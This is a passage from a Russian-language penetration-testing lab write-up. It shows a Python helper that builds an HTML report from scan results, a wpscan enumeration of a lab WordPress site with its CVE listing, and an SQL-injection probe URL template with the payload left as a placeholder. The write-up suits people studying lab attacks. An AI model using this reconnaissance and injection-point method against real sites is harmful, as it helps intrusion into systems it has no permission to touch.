f2.write('<a href="ftp://'+host+'" target="_blank">ftp://'+host+'</a><p>')
if('http-title:' in x):
x=x.replace('|_http-title:','')
x=x.replace('| http-title: ','')
w=x.strip()
for k in dic:
if (k in w):
w=w.replace(k, dic[k])
f2.write('<a href="http://'+host+'" target="_blank">'+w+'</a><p>')[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B]f2.write('</body></html>')
f2.close()
f.close()[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B]webbrowser.open('output.html')
Ну и смотрим output.html
В целом мы имеем следующую картину:
Так же составляем привычную для нас сетевую карту, не без помощи друзей:
________________________________________
Когда мы получили в VPN попробуем вернуться снова к сайту site.test.lab
Bash:
root@Ac0st:/home/clevergod wpscan --url http://site.test.lab --enumerate p --random-user-agent
________________________________________
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B]WordPress Security Scanner by the WPScan Team
Version 3.4.1
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
________________________________________[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B][+] URL: http://site.test.lab/
[+] Started: Sat Dec 22 20:16:16 2018[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B]Interesting Finding(s):[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B][+] http://site.test.lab/
| Interesting Entry: Server: nginx/1.14.2
| Found By: Headers (Passive Detection)
| Confidence: 100%[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B][+] http://site.test.lab/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B][+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
| Detected By: Rss Generator (Passive Detection)
| - http://site.test.lab/?feed=rss2, <generator>https://wordpress.org/?v=4.9.8</generator>
| - http://site.test.lab/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.9.8</generator>
|
| [!] 7 vulnerabilities identified:
|
| [!] Title: WordPress <= 5.0 - Authenticated File Delete
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9169
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20147
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - Authenticated Post Type Bypass
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9170
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20152
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| - https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/
|
| [!] Title: WordPress <= 5.0 - PHP Object Injection via Meta Data
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9171
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20148
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - Authenticated Cross-Site Scripting (XSS)
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9172
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20153
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - Cross-Site Scripting (XSS) that could affect plugins
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9173
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20150
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| - https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460
|
| [!] Title: WordPress <= 5.0 - User Activation Screen Search Engine Indexing
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9174
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20151
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - File Upload to XSS on Apache Web Servers
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9175
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20149
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| - https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B][+] WordPress theme in use: twentyseventeen
| Location: http://site.test.lab/wp-content/themes/twentyseventeen/
| Last Updated: 2018-12-19T00:00:00.000Z
| Readme: http://site.test.lab/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 1.9
| Style URL: http://site.test.lab/wp-content/themes/twentyseventeen/style.css?ver=4.9.8
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Detected By: Css Style (Passive Detection)
|
| Version: 1.7 (80% confidence)
| Detected By: Style (Passive Detection)
| - http://site.test.lab/wp-content/themes/twentyseventeen/style.css?ver=4.9.8, Match: 'Version: 1.7'[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B][+] Enumerating Most Popular Plugins
[+] Checking Plugin Versions[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B][i] Plugin(s) Identified:[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B][+] wp-survey-and-poll
| Location: http://site.test.lab/wp-content/plugins/wp-survey-and-poll/
| Last Updated: 2018-10-19T20:12:00.000Z
| [!] The version is out of date, the latest version is 1.5.7.9
|
| Detected By: Urls In Homepage (Passive Detection)
|
| Version: 1.5.7.8 (50% confidence)
| Detected By: Readme - ChangeLog Section (Aggressive Detection)
| - http://site.test.lab/wp-content/plugins/wp-survey-and-poll/readme.txt[/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B][+] Finished: Sat Dec 22 20:16:30 2018
[+] Requests Done: 31
[+] Cached Requests: 3
[+] Data Sent: 8.18 KB
[+] Data Received: 303.9 KB
[+] Memory used: 51.387 MB
[+] Elapsed time: 00:00:13
Выявлено, что организаторы решили немного усложнить после завершения всех задач победителем лабы CSV.
Они обновили уязвимый плагин с версии 1.1.7 до 1.5.7.8 или wpscan нас дико обманул.
Ссылка скрыта от гостей
http://site.test.lab/wp-admin/admin.php?page=wysija_campaigns&orderby=[SQL]
Уязвимости есть, но по-прежнему эксплуатация приводит к бану веб-фаерволом. Ищем дальше.
Так же, хочу отметить тот факт, что при подключении к другому хосту по VPN через Свиридова часть прошлой сетки теряется и мы больше не сможем обратиться к некоторым хостам. Я добавляю эту уточнение, которое мне лично сэкономила бы кучу времени, если я знал это ранее.
Идем дальше смотрим продолжение во второй части. С радостью разместил бы все в одной, но ввиду того, что постарался сделать врайтап достаточно подробным получилось слишком много материала...
Взято с https://securixy.kz
Последнее редактирование: